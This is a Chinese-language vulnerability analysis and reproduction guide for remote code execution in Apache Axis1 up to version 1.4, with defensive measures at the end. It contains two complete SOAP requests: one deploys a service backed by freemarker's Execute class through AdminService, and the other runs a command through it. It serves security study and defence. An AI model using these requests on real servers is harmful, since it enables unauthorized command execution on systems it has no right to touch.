Apache Axis1(<=1.4版本) RCE
字数 1329 2025-08-27 12:33:30
Apache Axis1 (<=1.4版本) 远程代码执行漏洞分析与利用
漏洞概述
Apache Axis1 (版本<=1.4) 存在一个远程代码执行漏洞,攻击者可以通过构造特殊的SOAP请求,利用AdminService服务未授权访问和配置修改功能,最终实现任意命令执行。
漏洞原理
核心流程
-
第一次请求:
org.apache.axis.transport.http.AxisServlet#doPost- →
org.apache.axis.utils.Admin#processWSDD - →
org.apache.axis.AxisEngine#saveConfiguration
-
第二次请求:
org.apache.axis.transport.http.AxisServlet#doPost- →
freemarker.template.utility.Execute#exec - →
java.lang.Runtime#exec(java.lang.String)
关键点分析
-
未授权访问:
- 默认情况下,
AdminService服务的enableRemoteAdmin参数为false,只允许本地访问 - 如果该参数被设置为true,则允许远程访问
- 默认情况下,
-
配置修改:
- 通过构造特殊的SOAP请求,可以修改
WEB-INF/server-config.wsdd配置文件 - 攻击者可以添加自定义的WebService服务
- 通过构造特殊的SOAP请求,可以修改
-
命令执行:
- 利用
freemarker.template.utility.Execute类作为WebService服务 - 调用其
exec方法执行任意命令
- 利用
环境准备
- JDK 1.8_191
- Apache Axis1 1.4
- Tomcat 6
- freemarker-2.3.23.jar (需要手动添加到WEB-INF/lib目录)
漏洞复现步骤
第一步:修改配置添加恶意服务
构造POST请求到/services/AdminService,添加一个自定义服务:
POST /services/AdminService HTTP/1.1
Host: target.com
Content-Type: application/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="malicious" provider="java:RPC">
<parameter name="className" value="freemarker.template.utility.Execute"/>
<parameter name="allowedMethods" value="exec"/>
</service>
</deployment>
</soapenv:Body>
</soapenv:Envelope>
第二步:调用恶意服务执行命令
构造POST请求到新创建的/services/malicious服务:
POST /services/malicious HTTP/1.1
Host: target.com
Content-Type: application/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<exec>
<string>calc</string>
</exec>
</soapenv:Body>
</soapenv:Envelope>
技术细节
关键代码分析
-
AdminService处理流程:
// org.apache.axis.utils.Admin#AdminService public AdminService() { allowedMethods = new Vector(); allowedMethods.add("AdminService"); } -
配置保存流程:
// org.apache.axis.utils.Admin#processWSDD WSDDDocument wsddDoc = new WSDDDocument(root); EngineConfiguration config = engine.getConfig(); if (config instanceof WSDDEngineConfiguration) { WSDDDeployment deployment = ((WSDDEngineConfiguration)config).getDeployment(); wsddDoc.deploy(deployment); } engine.refreshGlobalOptions(); engine.saveConfiguration(); -
命令执行类:
// freemarker.template.utility.Execute public class Execute { public Execute() { } public Object exec(List arguments) { String command = (String)arguments.get(0); // 执行命令... } }
防御措施
- 升级到最新版本:Apache Axis1已发布修复版本
- 配置防护:
- 确保
WEB-INF/server-config.wsdd中AdminService的enableRemoteAdmin参数为false - 限制对
/services/AdminService的访问
- 确保
- 网络防护:
- 使用防火墙规则限制对Axis服务的访问
- 部署WAF规则拦截恶意SOAP请求
总结
该漏洞的核心在于:
- AdminService的未授权访问
- 配置文件的动态修改能力
- 通过添加恶意服务实现任意命令执行
利用此漏洞需要满足以下条件:
- 目标系统使用Apache Axis1 <=1.4版本
enableRemoteAdmin参数被设置为true或攻击者能够访问本地服务- 类路径中包含可利用的类(如freemarker的Execute类)